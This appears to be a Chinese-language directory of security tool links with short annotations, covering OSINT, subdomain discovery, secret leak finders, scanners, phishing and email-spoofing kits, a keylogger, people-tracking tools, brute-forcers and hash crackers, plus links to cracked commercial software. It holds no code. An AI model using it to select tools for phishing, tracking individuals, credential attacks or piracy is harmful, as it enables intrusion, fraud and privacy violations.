https://www.paterva.com/web7/buy/maltego-clients/maltego-ce.php //JAVA.多维度信息收集,支持扩展不同社交媒体插件。 https://github.com/smicallef/spiderfoot //PY.利用OSINT自动化找出对方信息,gui界面,插件化,在线SpiderFoot HX服务。2K。greatjob。 https://github.com/Nhoya/gOSINT //GO.利用OSINT自动化搜集信息 https://github.com/alienwithin/OWASP-mth3l3m3nt-framework //渗透辅助,php,exp搜寻、payload与shell生成、信息收集 https://github.com/yassineaboukir/Asnlookup //simple。利用ASN搜索特定组织拥有ip,联动nmap、masscan进行进一步信息扫描 https://github.com/super-l/superl-url //PY.根据关键词,对搜索引擎内容检索结果的网址内容进行采集 https://github.com/woj-ciech/Danger-zone //关联域名、IP 和电子邮件地址之间的数据并将其可视化输出 https://github.com/HurricaneLabs/machinae //PY.ip/url/file/email/dns/hash/domain多接口 https://github.com/gh0stkey/ahrid //py.利用jsonp等漏洞通过分析模块对黑客画像溯源 在线信息搜集网站 https://shodan.io //互联网感知引擎.W:https://www.zoomeye.org/;W:https://fofa.so/;W:https://censys.io/; https://www.oshadan.com //傻蛋联网设备搜索,湖南安数网络。NOupdate。 https://hackertarget.com/ip-tools/ //提供api、ip相关工具,在线扫描器,工具文章研究博客。W:http://tools.bugscaner.com/; https://safeweb.norton.com //诺顿网站安全检测 http://www.link114.cn/title/ //批量查询网站标题 https://www.whatweb.net/ //在线web指纹识别 http://www.webscan.cc/ //同IP网站查询,C段查询,IP反查域名,C段旁注,旁注工具.W:www.phpinfo.me/domain/; http://ceye.io //在线dns查询,http请求解析,日志记录 https://www.dnsdb.io //DNS查询,子域名查询,IP查询,A记录查询,域名解析,旁站查询 https://dnsdumpster.com/ //dns recon and research, find and lookup dns records http://ip.chaxun.la/ //ip反查域名—查询啦 https://bgp.he.net //bgp/asn/isp在线搜集工具 https://www.virustotal.com/ //在线文件、网址、域名、IP检测。包含pdns。W:https://crt.sh/;W:https://spyse.com/;W:https://securitytrails.com/#search; PDNS(Passive DNS)收集系统 https://github.com/JustinAzoff/bro-pdns //GO.基于bro的pdns收集工具 https://www.circl.lu/services/passive-dns //pdns服务 https://community.riskiq.com //pdns服务 子域名C段 https://github.com/laramies/theHarvester //PY.企业被搜索引擎收录敏感资产信息监控脚本:员工邮箱、子域名、Hosts https://github.com/shmilylty/OneForAll //py3.子域收集工具,多接口,协程爆破。 https://github.com/michenriksen/aquatone //GO.子域名枚举、探测工具。可用于子域名接管漏洞探测 https://github.com/guelfoweb/knock //PY.通过爆破进行子域名获取,可用于查找子域名接管漏洞 https://github.com/blechschmidt/massdns //C.通过DNS高效子域发现工具 https://github.com/SpiderLabs/HostHunter //PY3.通过多接口,ssl证书进行hostname子域名查询。 https://github.com/caffix/amass //GO.通过DNS\API接口、搜索引擎等进行子域名搜集,使用机器学习猜测子域名。owasp项目。3k。goodjob。 https://github.com/OJ/gobuster //Golang.根据dns查询子域名和web目录爆破的工具,自带字典。 https://github.com/euphrat1ca/LayerDomainFinder //C#.cnseay法师Layer子域名挖掘机 https://github.com/aboul3la/Sublist3r //PY.通过搜索引擎与爆破快速子域枚举工具 https://github.com/Ice3man543/subfinder //Golang.go实现的Sublist3r https://github.com/TheRook/subbrute //PY.扫描器中常用的子域名爆破API库 https://github.com/nahamsec/lazyrecon //BASH.侦查reconnaissance过程自动化脚本,可自动使用Sublist3r/certspotter获取子域名,调用nmap/dirsearch等 https://github.com/FeeiCN/ESD //PY3.爆破搜集子域名 https://github.com/guimaizi/get_domain //py.基于selenium的SRC域名收集与监测。G:LangziFun/LangSrcCurise SRC子域名收集; https://github.com/pentester-io/commonspeak //BASH.Linux下直接用 Google big query 查 alexa top 1M 的子域名 和 一些文件路径 (也有其他数据集) https://github.com/blark/aiodnsbrute/ //PY3.DNS异步爆破子域名 https://github.com/lijiejie/subDomainsBrute //PY.开发的一款使用广泛的子域名爆破枚举工具 https://github.com/ring04h/wydomain //PY.猪猪侠开发的一款域名子域名枚举工具 https://github.com/n4xh4ck5/N4xD0rk //PY.利用搜索引擎来搜集子域名,可以使用西班牙语搜集 https://github.com/vysec/DomLink //PY2.调用WHOXY.com,对邮箱和域名进行进一步的搜集 https://github.com/jonluca/Anubis //PY3.子域名爆破与信息收集 https://github.com/le4f/dnsmaper //PY.web界面,子域名枚举爆破工具以及地图位置标记 https://github.com/thewhiteh4t/seeker //PY.获取高精度地理信息和设备信息的工具 https://github.com/0xbug/orangescan //web界面,的在线子域名信息收集工具 https://github.com/We5ter/GSDF //PY.基于谷歌SSL透明证书的子域名查询脚本 https://github.com/mandatoryprogrammer/cloudflare_enum //PY.利用CloudFlare的dns进行子域名枚举 https://github.com/x0day/bannerscan //PY.C段/旁站查询与路径扫描 https://github.com/Xyntax/BingC //PY.基于Bing搜索引擎的C段/旁站查询,多线程 https://github.com/zer0h/httpscan //PY.网段Web主机发现小工具 https://github.com/s0md3v/ReconDog //PY.simple,侦查信息的瑞士军刀 https://github.com/chrismaddalena/ODIN //PY3.simple,信息收集与后期漏洞利用 https://github.com/exp-db/PythonPool/tree/master/Tools/DomainSeeker //多方式收集目标子域名信息 https://github.com/code-scan/BroDomain //子域名查询 https://github.com/chuhades/dnsbrute //GO.dns子域名爆破工具 https://github.com/evilsocket/dnssearch //GO.dns子域名爆破工具 https://github.com/reconned/domained //PY.可用于子域名收集的一款工具 https://github.com/bit4woo/Teemo //PY.多方式域名收集及枚举工具 https://github.com/swisskyrepo/Subdomino //PY.子域名枚举,端口扫描,服务存活确认 https://github.com/nmalcolm/Inventus //PY.通过爬虫实现的子域名收集工具 云安全相关 敏感信息泄露发现 https://github.com/donot-wong/sensinfor //JS.chrome敏感信息泄露插件,to find leak file and backup file https://github.com/boy-hack/wooyun-payload //burpsuite插件.基于乌云漏洞信息的敏感信息发现。 https://github.com/Yelp/detect-secrets //PY.防止代码中的密码等相关敏感信息被提交到代码库中,可以在保证安全性的同时不会给开发者的生产力带来任何影响 https://github.com/Acceis/leakScraper //处理和可视化大规模文本文件, 查找敏感信息, 例如证书 https://github.com/Raikia/CredNinja //多线程用户凭证验证脚本,比如验证dump的hash是否属于此机器,利用445端口进行协议验证 https://github.com/CERTCC/keyfinder //查找并分析私钥/公钥文件(文件系统中),支持 Android APK 文件 https://github.com/Ice3man543/hawkeye //GO.cli端,文件系统分析工具,快速查找文件内包含的SSH密钥,日志文件,Sqlite数据库,密码文件等 https://github.com/D4Vinci/Cr3dOv3r //根据邮箱自动搜索泄漏的密码信息,也可测试账户密码在各大网站能否登录的工具 https://github.com/lijiejie/idea_exploit //PY.利用 IDE config folder (.idea) 进行文件下载 https://github.com/Graph-X/davscan //PY,BASH.用于扫描启用DAV网盘服务的Web服务器上的隐藏文件和文件夹 https://github.com/Threezh1/JSFinder //PY.用于发现网站js文件中的url与域名 https://github.com/eldraco/domain_analyzer //PY.DNS servers, mail servers, IP addresses, mails on Google, SPF information等,支持插件,可生成报告,支持爬虫启动搜集。 https://github.com/mhelwig/privdns //PY3.利用nameserver的错误配置,dns解析暴露其内网地址 https://github.com/gehaxelt/ds_store //GO.苹果电脑.Ds_Store文件解析。labs.internetwache.org/ds_store/。 https://github.com/shengqi158/svnhack //PY.文件夹*.svn*泄漏利用工具 https://www.waitalone.cn/seay-svn-poc-donw-20140505.html //Seay-Svn源代码泄露漏洞利用工具,2014-05-05版 亚马逊AWS安全相关 https://github.com/RhinoSecurityLabs/Cloud-Security-Research //PY.AWS云安全研究,工具集。 https://github.com/RhinoSecurityLabs/pacu //亚马逊AWS漏洞检测框架 https://github.com/stuhirst/awssecurity/blob/master/arsenal.md //AWS 安全检测相关的项目列表 https://github.com/toniblyx/my-arsenal-of-aws-security-tools //AWS安全工具集 https://github.com/sa7mon/S3Scanner //扫描amazon公开的S3 buckets和dump https://github.com/kromtech/s3-inspector //检测亚马逊AWS S3 bucket permissions https://github.com/jordanpotti/AWSBucketDump //枚举AWS S3 buckets以查找敏感机密的文件 https://github.com/Netflix/repokid //AWS 最低权限策略部署工具 https://github.com/dowjones/hammer //PY.AWS的多账户云安全工具,可识别不安全配置与资源中的敏感信息,良好的报告与修复功能。 Git安全相关 https://github.com/0xbug/Hawkeye //JS,PY.GitHub 泄露监控系统。G:Hell0W0rld0/Github-Hunter; https://github.com/neal1991/gshark //JS/GO.github信息泄露检测。G:FeeiCN/GSIL;G:repoog/GitPrey; https://github.com/VKSRC/Github-Monitor //JS.GitHub监控,代码信息泄露,分钟级监控,邮件预警 https://github.com/Furduhlutur/yar //GO.用于侦察Github上的存储库、用户和组织。Yar会克隆给定的用户/组织的存储库,并按照提交时间顺序遍历整个提交历史,搜索密钥、令牌及密码等。 https://github.com/UnkL4b/GitMiner //github敏感内容挖掘 https://github.com/dxa4481/truffleHog //GitHub敏感信息扫描工具,包括检测commit等 https://github.com/awslabs/git-secrets //防止将敏感数据提交到 git 仓库的工具 https://github.com/zricethezav/gitleaks //GO.检查git repo中的密码信息和密钥。Github:git-hound;G:metac0rtex/GitHarvester;。 https://github.com/internetwache/GitTools //SHELL\PY3.查找、下载、提取 .git 。1.4k。 https://github.com/BugScanTeam/GitHack //PY.可还原历史版本, .git源代码泄漏利用工具 目录路径发现 https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project //JAVA.目录路径枚举Fuzz爆破 https://github.com/ffuf/ffuf //GO.web网站路径、参数、子域名、数据模糊测试(fuzzing) https://github.com/7kbstorm/7kbscan-WebPathBrute //C#.目录路径爆破 https://github.com/TheM4hd1/PenCrawLer //C#.界面,web爬虫与目录路径爆破工具,除了常规扫描增加了递归爆破模式 https://github.com/maurosoria/dirsearch //经典目录路径扫描 https://github.com/Xyntax/DirBrute //目录路径爆破工具 https://github.com/abaykan/crawlbox //目录路径路径扫描器 https://github.com/deibit/cansina //目录路径路径扫描器 https://github.com/UltimateHackers/Breacher //多线程的后台路径扫描器,也可用于发现Execution After Redirect漏洞 https://github.com/fnk0c/cangibrina //通过字典穷举、google、robots.txt等途径的跨平台后台管理路径扫描器 https://github.com/Go0s/SitePathScan //基于协程的目录路径爆破工具,配合aiohttp扫描路径比之前快了三倍有余 https://github.com/0daysec/webscan_dir //PY.轻量级web目录扫描器,支持选择字典和过滤状态码 https://github.com/lijiejie/BBScan //PY.网站信息泄漏批量扫描脚本 https://github.com/jerrychan807/WSPIH //PY3.敏感文件路径扫描下载 https://github.com/aipengjie/sensitivefilescan //PY2.网站敏感文件扫描工具 https://github.com/Mosuan/FileScan //PY.网站敏感文件扫描 / 二次判断降低误报率 / 扫描内容规则化 / 多目录扫描 https://github.com/Xyntax/FileSensor //PY3.动态敏感文件探测工具 https://github.com/ring04h/weakfilescan //PY.多线程网站泄露信息检测工具 社工相关 https://github.com/mehulj94/Radium-Keylogger //py.键盘记录工具 https://github.com/threatexpress/domainhunter //检查过期域名,bluecoat分类和Archive.org历史记录,以确定最为适合于钓鱼和C2的域名 https://github.com/Mr-Un1k0d3r/CatMyPhish //收集目标类似于的尚未注册的域名 https://github.com/thinkst/canarytokens //PY.重要文件的追踪溯源,信标定位(https://canarytokens.org/generate#)服务端代码 https://github.com/ggerganov/kbd-audio //C++.linux下利用麦克风监控键盘输入测试输入值 https://github.com/Viralmaniar/I-See-You //bash.利用公网网站代理获取用户的真实地理信息。simple https://www.jianshu.com/p/147cf5414851 //聊聊那些常见的探侦类APP 企业人员信息搜集 https://hunter.io/ //企业邮箱搜集。商业版。 https://www.aihitdata.com/ //全球公司信息变更汇总(地址、所有人、联系方式)。可结合天眼查\企查查 https://github.com/x0day/Multisearch-v2 //Bing、google、360、zoomeye等搜索引擎聚合搜索,可用于发现企业被搜索引擎收录的敏感资产信息 https://github.com/vysec/MaiInt //公司雇员信息收集测试工具 https://github.com/jofpin/trape //PY.利用OSINT对人员进行追踪定位。4k。 https://www.truthfinder.com //美国公民信息查询。商业版。 https://infotracer.com //姓名、手机、邮件地址等信息track。商业版。 https://github.com/famavott/osint-scraper //输入人名或邮箱地址, 自动从互联网爬取关于此人的信息 https://github.com/n0tr00t/Sreg //PY.Sreg可对使用者通过输入email、phone、username的返回用户注册的所有互联网护照信息。 https://github.com/SpiderLabs/social_mapper //社交媒体枚举和关联工具, 通过人脸识别关联人物侧写 https://verify-email.org //邮件真实性验证 https://recruitin.net //Easily use Google to search profiles on LinkedIn https://github.com/xHak9x/fbi //PY2.facebook脸书信息收集工具 https://github.com/initstring/linkedin2username //通过Linkedin 领英获取相关公司员工列表 https://github.com/0x09AL/raven //linux下领英Linkedin information gathering tool https://github.com/Ridter/Mailget //通过脉脉用户猜测企业邮箱 https://github.com/haccer/tweep //使用twitter API进行信息爬取查询 https://github.com/MazenElzanaty/TwLocation //PY.获取Twitter用户发推的地址 https://github.com/vaguileradiaz/tinfoleak //web界面,对twitter账户进行全面的分析 http://picdeer.org/ //Instagram内容\用户在线搜索。Web:pictame.com;Web:searchmy.bio,兴趣搜索; 网站克隆 http://www.httrack.com //网站克隆镜像 https://github.com/JonCooperWorks/judas //GO.克隆网站钓鱼 钓鱼框架 https://github.com/bhdresh/SocialEngineeringPayloads //负责收集用于证书盗窃和鱼叉式网络钓鱼攻击的社交工程技巧和payloads https://github.com/trustedsec/social-engineer-toolkit //PY.TrustedSec开发的专为社交工程设计的开源渗透测试框架,支持网站克隆、邮件伪造、反弹shell等 https://github.com/thelinuxchoice/blackeye //PY.拥有facebook、instagram等三十余个钓鱼模板的一键启用工具 https://github.com/M4cs/BlackEye-Python //PY.以blackeye为基础,增加子域名模拟伪造功能 https://github.com/gophish/gophish //GO.拥有在线模板设计、发送诱骗广告等功能的钓鱼系统 https://github.com/L4bF0x/PhishingPretexts //钓鱼模板 https://github.com/drk1wi/Modlishka //GO.网络钓鱼工具 https://github.com/azizaltuntas/Camelishing //PY3.界面化社会工程学攻击辅助工具 https://github.com/tatanus/SPF //PY2.deefcon上的钓鱼系统 https://github.com/MSG-maniac/mail_fishing //PHP.基于thinkphp的甲方邮件钓鱼系统 https://github.com/samyoyo/weeman //钓鱼的http服务器 https://github.com/Raikia/FiercePhish //可以管理所有钓鱼攻击的完整钓鱼框架,允许你跟踪单独的网络钓鱼活动,定时发送电子邮件等 https://github.com/securestate/king-phisher //可视化钓鱼活动工具包 https://github.com/fireeye/ReelPhish //实时双因素网络钓鱼工具 https://github.com/kgretzky/evilginx2/ //登录页面钓鱼,绕过双因素认证等 https://github.com/ustayready/CredSniper //使用Flask和Jinja2模板编写的网络钓鱼框架,支持捕获2FA令牌 https://github.com/n0pe-sled/Postfix-Server-Setup //自动化建立一个网络钓鱼服务器 https://github.com/fireeye/PwnAuth //OAuth滥用测试检测平台 https://github.com/jbtronics/CrookedStyleSheets //php.使用CSS实现网页追踪 / 分析,用户鼠标轨迹捕捉 邮件伪造 https://emkei.cz //在线邮件伪造。多功能模拟。 http://tool.chacuo.net/mailanonymous //在线邮件伪造 http://ns4gov.000webhostapp.com //在线邮件伪造 https://github.com/Dionach/PhEmail //PY2.钓鱼与邮件伪造 https://github.com/lunarca/SimpleEmailSpoofer //PY.域名伪造钓鱼邮件 https://www.jetmore.org/john/code/swaks/ //PERL.基于smtp的邮箱域名伪造测试工具 漏洞收集 https://github.com/euphrat1ca/security_w1k1/blob/master/wiki_vul.md/ //web漏洞、软件模板漏洞、数据库、中间件、CMS框架漏洞、MS&Linux等系统组件漏洞、IOT漏洞收集表单。myWiki 网站扫描器漏洞检测 https://www.acunetix.com/web-vulnerability-scanner/ //Acunetix WVS扫描器,AWVS支持win/Linux。商业版。 https://www.tenable.com/downloads/nessus //漏洞扫描器,系统漏洞检测功能突出。商业版。有Nessus无IP限制版虚拟机 https://www.ibm.com/us-en/marketplace/appscan-standard //IBM漏洞扫描器,重剑无锋。商业版。 https://github.com/andresriancho/w3af //PY.包含 200+ Web漏洞 https://github.com/gyoisamurai/GyoiThon //PY.使用深度学习的渗透测试工具,从每次扫描数据中学习,扫描越多,软件检测精准度越高 https://github.com/iSafeBlue/TrackRay //JAVA.溯光是一个开源的插件化渗透测试框架,框架自身实现了漏洞扫描功能,并集成了知名安全工具:Metasploit、Nmap、Sqlmap、AWVS 等,支持插件编写。 https://github.com/TideSec/WDScanner //PHP.TideSec开源分布式web漏洞扫描、客户管理、漏洞定期扫描、子域名枚举、端口扫描、网站爬虫、暗链检测、坏链检测、网站指纹搜集、专项漏洞检测、代理搜集及部署等功能。 https://www.52pojie.cn/thread-134667-1-1.html //Safe3 Web漏洞扫描系统企业版v10.1 破解版 Crack By Lkou[LCG].历史感。 https://github.com/euphrat1ca/polar-scan //易语言.北极熊扫描器。历史感。 https://github.com/euphrat1ca/yeezy-scan //椰树1.9扫描器。历史感。 https://github.com/euphrat1ca/WebCruiserWVS //C#.轻量扫描器,椰树前身 https://github.com/theInfectedDrake/TIDoS-Framework //覆盖从侦察到漏洞分析的所有内容 https://github.com/Tuhinshubhra/RED_HAWK //php.集成信息收集、漏洞扫描、指纹识别等的扫描工具 https://github.com/1N3/Sn1per //PHP.自动化中间件扫描以及设备指纹识别 https://github.com/m4ll0k/Spaghetti //web应用扫描器,支持指纹识别、文件目录爆破、SQL/XSS/RFI等漏洞扫描,也可直接用于struts、ShellShock等漏洞扫描 https://github.com/blackye/lalascan //集合owasp top10漏洞扫描和边界资产发现能力的分布式web漏洞扫描框架 https://github.com/Skycrab/leakScan //web界面,漏洞扫描 https://github.com/az0ne/AZScanner //web界面,自动漏洞扫描器,子域名爆破,端口扫描,目录爆破,常用框架漏洞检测 https://github.com/MiniSafe/microweb //web界面,base bugscan,django https://github.com/taipan-scanner/Taipan //web界面,基于F#与C#的安全扫描器 https://github.com/zhangzhenfeng/AnyScan //web界面,python漏洞扫描器,NoUpdate https://github.com/Canbing007/wukong-agent //web界面,python漏洞扫描器 https://github.com/dermotblair/webvulscan //web界面,php,漏洞扫描器,支持输出pdf报告 https://github.com/0xInfection/TIDoS-Framework //PY.linux,网站扫描器 https://github.com/secdec/adapt //PY.linux,网站扫描器 https://github.com/sullo/nikto //PERL.linux下网站扫描器 https://github.com/Ekultek/Zeus-Scanner //PY.搜索引擎API/代理/路径爆破/sqli/xss/ByPass。simple,web扫描器 https://github.com/jeffzh3ng/InsectsAwake //PY.web界面,基于 Flask 应用框架的漏洞扫描系统,同时集成了渗透测试常用的端口扫描、子域名爆破等功能,后端漏洞扫描采用Pocsuite https://github.com/blackye/BkScanner //分布式、插件化web漏洞扫描器 https://github.com/tlkh/prowler //一款基于Raspberry Pi Cluster 的网络漏洞扫描工具 https://github.com/v3n0m-Scanner/V3n0M-Scanner //支持检测SQLi/XSS/LFI/RFI等漏洞的扫描器 https://github.com/RASSec/pentestEr_Fully-automatic-scanner //定向自动测试工具 https://github.com/Fireflyi/lcyscan //PY.插件化漏洞扫描器,支持生成报表 https://github.com/Arachni/arachni //Web应用漏洞扫描框架,支持REST、RPC等api调用 https://github.com/swisskyrepo/DamnWebScanner //基于chrome/opera插件的被动式漏洞扫描 https://github.com/0xsauby/yasuo //RUBY.扫描主机第三方web应用服务漏洞 https://github.com/yangbh/Hammer //Web应用漏洞扫描 https://github.com/viraintel/OWASP-Nettacker //自动化渗透测试框架 https://github.com/flipkart-incubator/watchdog //web扫描器与漏洞利用工具 https://github.com/m4ll0k/Galileo //PY2.网站扫描器 https://github.com/samhaxr/hackbox //PY2.simple,网站扫描器 https://github.com/secrary/EllaScanner //PY3.simple,被动式漏洞扫描,支持历史cve编号漏洞识别 https://github.com/m4ll0k/WAScan //PY.simple,扫描页面/链接/脚本/Form, 测试Payload等 https://github.com/jiangsir404/S7scan //PY.DONE,简单扫描工具 https://github.com/hatRiot/clusterd //PY.simple,web漏洞扫描利用 https://github.com/iceyhexman/onlinetools //PY3.simple,DONE,web界面,利用antsword漏洞插件 https://github.com/tulpar/tulpar //PY.支持多种web漏洞扫描.simple https://github.com/UltimateHackers/Striker //PY.信息收集、cms利用与漏扫,侦察绕过Cloudflare.SIMPLE https://github.com/0x4D31/salt-scanner //PY.基于Salt Open以及Vulners Linux Audit API的linux下扫描器,支持与JIRA项目管理、slack通讯框架结合使用 漏洞测试框架 https://github.com/euphrat1ca/exploitpack //OracleJava.exploitpack是一款漏洞利用框架,包含超过38,000+ exploits。商业版。Web:exploitpack.com; https://github.com/knownsec/pocsuite3 //PY3.知道创宇维护的一个规范化POC/EXP利用框架,类sqlmap.testjob,2K. https://github.com/dhondta/sploitkit //PY3.类msf漏洞利用框架。G:Fplyth0ner-Combie/Bug-Project-Framework;G:PowerScript/KatanaFramework;G:M4cs/BabySploit https://github.com/opensec-cn/kunpeng //GO.漏洞POC检测框架,可以动态链接库的形式提供各种语言调用 https://github.com/Lucifer1993/AngelSword //PY3.插件式漏洞识别,包含300+系统、Web、工控等漏洞poc。Github:POC-T;Github:btScan;Github:osprey;Github:pocscan;Github:TangScan;Github:Beebeeto-framework。 https://github.com/boy-hack/w9scan //PY.下内置1200+插件可对网站进行一次规模的检测 被动扫描代理抓包 https://github.com/zaproxy/zaproxy //JAVA.The OWASP ZAP core project出品的综合性渗透测试工具。支持流量代理、请求重放和可扩展性。greatjob。6k。 https://github.com/euphrat1ca/PRUBUnlimitedre //burpsuite 1.7.27/2.1Pro。Github:x-Ai/BurpUnlimitedre。 https://github.com/c0ny1/passive-scan-client //burp插件.被动扫描流量转发插件 https://github.com/chaitin/xray //GO.洞鉴扫描引擎社区版。主动扫描、被动代理,sql、命令注入、重定向、路径遍历,插件化配置。社区版 https://github.com/timwhitez/crawlergo_x_XRAY //PY.利用“xray”被动扫描与“0Kee-Team/crawlergo”爬虫联动,相同还可以使用awvs等。 https://github.com/w-digital-scanner/w13scan //PY3.boy-hack被动扫描器Passive Security Scanner,官网x.hacking8.com。G:netxfly/passive_scan; https://github.com/netxfly/Transparent-Proxy-Scanner //GO.基于vpn和透明代理的web漏洞扫描器,存储数据为mongodb https://github.com/cloudtracer/paskto //js.基于Nikto扫描规则的被动式路径扫描以及信息爬虫 https://www.telerik.com/fiddler //C#.Fiddler4 Free Web Debugging Proxy。W:charlesproxy.com 青花瓷;P:getpostman.com http调试工具。P:soft.125.la 精易助手;G:jakubroztocil/httpie https://github.com/MegatronKing/HttpCanary //JS.基于NetBare的安卓移动端抓包代理工具。welljob,1k. https://www.0daydown.com/03/33647.html //IEInspector HTTP Analyzer,可以注入进程进行SSL解密。 端口服务发现指纹识别 https://github.com/nmap/nmap //LUA.Nmap端口扫描器具有有强大的脚本引擎框架.greatjob. https://github.com/robertdavidgraham/masscan //C.无状态扫描器。10k。On Windows, or from VMs, it can do 300,000 packets/second. On Linux (no virtualization) it’ll do 1.6 million packets-per-second. https://github.com/nray-scanner/nray //GO.分布式扫描工具,支持ldap\证书扫描。 https://github.com/zmap/zmap //C.无状态扫描,可使用用C编写扩展模块。censys基础件 https://github.com/zmap/zgrab2 //GO.配合zmap/ztag的指纹抓取工具 https://github.com/chichou/grab.js //JS.类似于 zgrab 的TCP指纹抓取解析工具。 https://github.com/zmap/zdns //GO.Fast CLI DNS Lookup Tool https://github.com/zmap/ztag //PY.对zmap\zgrab产生的数据分析打标签。censys三件套 https://github.com/OffensivePython/Nscan //PY.类似于于Masscan和Zmap的端口服务扫描器 https://github.com/RASSec/RASscan //PY.基础端口服务扫描demo https://github.com/angryip/ipscan //JAVA.Angry IP Scanner。跨平台界面化端口扫描器,angryip.org。 http://www.advanced-ip-scanner.com //Advanced IP Scanner Portable端口扫描器。商业版。 https://github.com/AliasIO/Wappalyzer //JS.网站指纹识别。资产库,Chrome扩展。5k。 https://github.com/Lucifer1993/cmsprint //json格式CMS和中间件指纹库 https://github.com/HA71/WhatCMS //bash.CMS检测和漏洞利用脚本,基于Whatcms.org API https://github.com/urbanadventurer/whatweb //RUBY.web指纹识别。2k。goodjob。 https://github.com/l3m0n/whatweb //GO.网站指纹识别,Wappalyzer资产库。 https://github.com/Rvn0xsy/FastWhatWebSearch //whatweb工具结果搜索平台 https://github.com/boy-hack/gwhatweb //PY.CMS识别,gevent多线程实现 https://github.com/zerokeeper/WebEye //PY.快速识别WEB服务器类型、CMS类型、WAF类型、WHOIS信息、以及语言框架 https://github.com/n4xh4ck5/CMSsc4n //PY.CMS指纹识别 https://github.com/Ms0x0/Dayu //JAVA.指纹识别工具 https://github.com/0xbug/Howl //网络设备 web 服务指纹扫描与检索 https://github.com/jekyc/wig //web应用信息收集工具 https://github.com/tanjiti/FingerPrint //web应用指纹识别 https://github.com/nanshihui/Scan-T //网络爬虫式指纹识别 https://github.com/s0md3v/Arjun //PY3.HTTP参数信息挖掘工具。simple。 https://github.com/mozilla/ssh_scan //服务器ssh配置信息扫描 https://github.com/mozilla/cipherscan //目标主机服务ssl类型识别 https://github.com/rbsec/sslscan //ssl类型识别 https://github.com/ywolf/F-MiddlewareScan //中间件扫描服务识别 https://github.com/ggusoft/inforfinder //域名资产收集及指纹识别工具 https://github.com/EnableSecurity/wafw00f //WAF产品指纹识别 密码破解证书校验口令扫描 https://github.com/vanhauser-thc/thc-hydra //C.支持多种协议方式的破解与爆破 https://github.com/maaaaz/thc-hydra-windows //C.hydra的windows编译版本 https://github.com/galkan/crowbar //PY.支持openvpn、rdp、ssh、vnc破解 https://github.com/shack2/SNETCracker //C#.密码爆破工具,支持SSH、RDP、MySQL等常见协议.超级弱口令爆破工具 https://github.com/jmk-foofus/medusa //C.Linux下登录密码爆破工具 https://github.com/nmap/ncrack //C.支持多种协议的破解与爆破 https://github.com/lanjelot/patator //支持多种协议的爆破,采用模块化设计,使用灵活 https://github.com/euphrat1ca/F-Scrack //PY2.对各类服务用户名密码爆破的脚本.ysrc https://github.com/netxfly/crack_ssh //GO.协程版ssh\redis\mongodb弱口令破解 https://github.com/ztgrace/changeme //弱口令扫描器,不仅支持普通登录页,也支持ssh、mongodb等组件 https://github.com/ShawnDEvans/smbmap //py.利用smb服务传递哈希、增删改查、命令执行、ip段共享枚举等。G:m4ll0k/SMBrute; https://github.com/TunisianEagles/SocialBox //针对fb、gmail、ins、twitter的用户名密码爆破的脚本 https://github.com/Moham3dRiahi/XBruteForcer //WordPress、Joomla、DruPal、OpenCart、Magento等CMS用户密码爆破 https://github.com/lijiejie/htpwdScan //PY.simple,http暴力破解、撞库攻击脚本 https://github.com/galkan/crowbar //PY.利用key对ssh、rdp、openvpn、vnc爆破 https://github.com/scu-igroup/ssh-scanner //NMAP,HYDRA.ssh批量爆破 https://github.com/shengqi158/weak_password_detect //NMAP.Linux下多线程探测ssh弱口令 加解密保护密码学混淆 https://github.com/bugsafe/WeReport //PHP.WeReport报告助手,一键生成测试报告。 https://github.com/0Chencc/CTFCrackTools //kotlin与java.CTF工具框架,支持Crypto,Mis等。后期以编写python插件增强功能 https://www.wishingstarmoye.com/ctf/autokey //CTF在线工具集合。密码/隐写/二维码/哈希/编码/激战2???/ https://github.com/guyoung/CaptfEncoder //Nodejs.基于Electron。跨平台网络安全工具套件,提供网络安全相关编码转换、古典密码、密码学、特殊编码等工具,并聚合各类在线工具。 https://github.com/gchq/CyberChef //JS.反混淆,密码解密工具。 https://github.com/Wfzsec/awd_attack_framework //PHP.AWD(Attack With Defense,攻防兼备)常用脚本+不死马+crontab+防御方法 https://github.com/3summer/CTF-RSA-tool //PY2.ctf rsa套路 https://github.com/veracrypt/VeraCrypt //C.2K。官网veracrypt.fr,类似于BitLocker全盘加密,支持磁盘隐藏分区。G:FreeApophis/TrueCrypt; https://github.com/AlkenePan/KAP //GO.实现 ELF 文件保护 在线密码破解 https://www.cmd5.com/ //HASH密码在线破解。限制位数 https://hashkiller.co.uk/Cracker //密码破解。Google reCAPTCHA v3。 http://hashtoolkit.com //HASH密码在线破解。社区版 http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php //md5密码破解。社区版。 https://md5.gromweb.com/?md5= //md5密码破解。社区版 http://www.chamd5.org //md5密码破解。需要登录 http://www.xmd5.org //md5密码破解。需要登录 http://pmd5.com //md5密码破解。需要验证码 https://www.onlinehashcrack.com //md5密码破解。需要验证码 密码破解还原 https://securityxploded.com/download.php/ //各种密码方向安全小工具 https://github.com/bdutro/ibm_pw_clear //IBM x3550/x3560 M3 bios密码清除重置工具 https://github.com/hashcat/hashcat //C.哈希破解 https://github.com/fireeye/gocrack //GO.基于hashcat 3.6.0+的分布式密码破解工具 https://github.com/s3inlc/hashtopolis //php.hashcat的分布式破解工具,支持C#与python客户端 https://github.com/chris408/known_hosts-hashcat //PY.利用hashcat破解ssh密码hash https://github.com/clr2of8/DPAT //PY.利用hashcat等工具域密码进行破解测试 https://github.com/testsecer/Md5Decrypt //C#.md5多接口查询基于网上web API的MD5搜索工具 https://github.com/s0md3v/Hash-Buster //能调用多个API进行hash破解查询的智能工具 https://github.com/magnumripper/JohnTheRipper //C.已知密文的情况下尝试破解出明文的破解密码软件 https://github.com/shinnok/johnny //C++.JohnTheRipper密码破解的GUI界面,理论兼容所有功能,有windows界面 https://www.52pojie.cn/thread-275945-1-1.html //ARCHPR Pro4.54绿色中文破解版。压缩包密码破解,利用“已知明文攻击”破解加密的压缩文件 https://github.com/thehappydinoa/iOSRestrictionBruteForce //PY.实现的 ios 访问限制密码破解工具 https://github.com/e-ago/bitcracker //C.首款开源的BitLocker密码破解工具 https://www.ru.nl/publish/pages/909282/draft-paper.pdf //INTRO.破解SSD下使用BitLocker加密 https://github.com/fox-it/adconnectdump //PY.Azure AD凭证导出工具 https://github.com/DoubleLabyrinth/how-does-navicat-encrypt-password //Navicate数据库密码解密 https://github.com/TideSec/Decrypt_Weblogic_Password //JAVA.解密weblogic密文 https://github.com/MrSqar-Ye/wpCrack //wordpress hash破解 https://github.com/psypanda/hashID //PY.对超过220种hash识别。使用’hash' https://github.com/AnimeshShaw/Hash-Algorithm-Identifier //PY2.对超过160种hash识别。 web安全前端利用 